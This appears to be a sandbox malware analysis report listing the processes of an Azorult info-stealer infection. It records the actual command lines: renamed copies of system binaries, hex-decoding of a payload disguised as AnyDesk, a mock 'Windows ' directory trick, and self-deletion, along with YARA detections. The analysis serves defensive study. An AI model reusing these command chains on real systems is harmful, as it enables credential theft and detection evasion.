                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:moderate
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:6
                                                                                    Start time:04:57:52
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3
                                                                                    Imagebase:0x7ff78cf40000
                                                                                    File size:289'792 bytes
                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:7
                                                                                    Start time:04:57:52
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\kn.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3
                                                                                    Imagebase:0x7ff6e3d80000
                                                                                    File size:1'651'712 bytes
                                                                                    MD5 hash:F17616EC0522FC5633151F7CAA278CAA
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Antivirus matches:
                                                                                    • Detection: 0%, ReversingLabs
                                                                                    Reputation:moderate
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:8
                                                                                    Start time:04:57:53
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10
                                                                                    Imagebase:0x7ff78cf40000
                                                                                    File size:289'792 bytes
                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:9
                                                                                    Start time:04:57:53
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\kn.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10
                                                                                    Imagebase:0x7ff6e3d80000
                                                                                    File size:1'651'712 bytes
                                                                                    MD5 hash:F17616EC0522FC5633151F7CAA278CAA
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:moderate
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:10
                                                                                    Start time:04:57:54
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\Libraries\AnyDesk.PIF
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\Users\Public\Libraries\AnyDesk.PIF
                                                                                    Imagebase:0x400000
                                                                                    File size:1'209'856 bytes
                                                                                    MD5 hash:7EF42010A11B8F4D5C94605C77A478AF
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:Borland Delphi
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    Antivirus matches:
                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                    Reputation:low
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:11
                                                                                    Start time:04:57:54
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                                                                                    Imagebase:0x7ff78cf40000
                                                                                    File size:289'792 bytes
                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:12
                                                                                    Start time:04:57:54
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.3GP" / A / F / Q / S
                                                                                    Imagebase:0x7ff78cf40000
                                                                                    File size:289'792 bytes
                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:14
                                                                                    Start time:04:58:01
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\uhvutpdX.cmd" "
                                                                                    Imagebase:0x7ff66e660000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:15
                                                                                    Start time:04:58:01
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    Imagebase:0x7ff66e660000
                                                                                    File size:862'208 bytes
                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:16
                                                                                    Start time:04:58:02
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\SysWOW64\esentutl.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
                                                                                    Imagebase:0x290000
                                                                                    File size:352'768 bytes
                                                                                    MD5 hash:5F5105050FBE68E930486635C5557F84
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:17
                                                                                    Start time:04:58:02
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\SysWOW64\esentutl.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Xdptuvhu.PIF /o
                                                                                    Imagebase:0x290000
                                                                                    File size:352'768 bytes
                                                                                    MD5 hash:5F5105050FBE68E930486635C5557F84
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:18
                                                                                    Start time:04:58:02
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    Imagebase:0x7ff66e660000
                                                                                    File size:862'208 bytes
                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:19
                                                                                    Start time:04:58:02
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    Imagebase:0x400000
                                                                                    File size:68'096 bytes
                                                                                    MD5 hash:C116D3604CEAFE7057D77FF27552C215
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000002.2431642585.0000000026B30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult_1, Description: Azorult Payload, Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult_1, Description: Azorult Payload, Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: kevoreilly
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    Antivirus matches:
                                                                                    • Detection: 3%, ReversingLabs
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:20
                                                                                    Start time:04:58:03
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\SysWOW64\esentutl.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
                                                                                    Imagebase:0x290000
                                                                                    File size:352'768 bytes
                                                                                    MD5 hash:5F5105050FBE68E930486635C5557F84
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:21
                                                                                    Start time:04:58:06
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
                                                                                    Imagebase:0x570000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Antivirus matches:
                                                                                    • Detection: 0%, ReversingLabs
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:23
                                                                                    Start time:04:58:07
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
                                                                                    Imagebase:0x570000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:24
                                                                                    Start time:04:58:07
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
                                                                                    Imagebase:0x570000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:25
                                                                                    Start time:04:58:07
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\xpha.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
                                                                                    Imagebase:0x6e0000
                                                                                    File size:18'944 bytes
                                                                                    MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Antivirus matches:
                                                                                    • Detection: 0%, ReversingLabs
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:26
                                                                                    Start time:04:58:14
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\Libraries\Xdptuvhu.PIF
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Users\Public\Libraries\Xdptuvhu.PIF"
                                                                                    Imagebase:0x400000
                                                                                    File size:1'209'856 bytes
                                                                                    MD5 hash:7EF42010A11B8F4D5C94605C77A478AF
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:Borland Delphi
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    Antivirus matches:
                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:27
                                                                                    Start time:04:58:15
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    Imagebase:0x400000
                                                                                    File size:68'096 bytes
                                                                                    MD5 hash:C116D3604CEAFE7057D77FF27552C215
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001B.00000002.2542181487.000000002E15C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult_1, Description: Azorult Payload, Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: kevoreilly
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult_1, Description: Azorult Payload, Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000001B.00000002.2541964878.000000002DDF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000002.2541964878.000000002DDF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:28
                                                                                    Start time:04:58:18
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
                                                                                    Imagebase:0x570000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:29
                                                                                    Start time:04:58:18
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
                                                                                    Imagebase:0x570000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:30
                                                                                    Start time:04:58:19
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
                                                                                    Imagebase:0x570000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:31
                                                                                    Start time:04:58:19
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif"
                                                                                    Imagebase:0x1c0000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:32
                                                                                    Start time:04:58:19
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    Imagebase:0x7ff66e660000
                                                                                    File size:862'208 bytes
                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:33
                                                                                    Start time:04:58:19
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\SysWOW64\timeout.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\Windows\system32\timeout.exe 3
                                                                                    Imagebase:0xdb0000
                                                                                    File size:25'088 bytes
                                                                                    MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:34
                                                                                    Start time:04:58:22
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\Libraries\Xdptuvhu.PIF
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Users\Public\Libraries\Xdptuvhu.PIF"
                                                                                    Imagebase:0x400000
                                                                                    File size:1'209'856 bytes
                                                                                    MD5 hash:7EF42010A11B8F4D5C94605C77A478AF
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:Borland Delphi
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:35
                                                                                    Start time:04:58:23
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    Imagebase:0x400000
                                                                                    File size:68'096 bytes
                                                                                    MD5 hash:C116D3604CEAFE7057D77FF27552C215
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
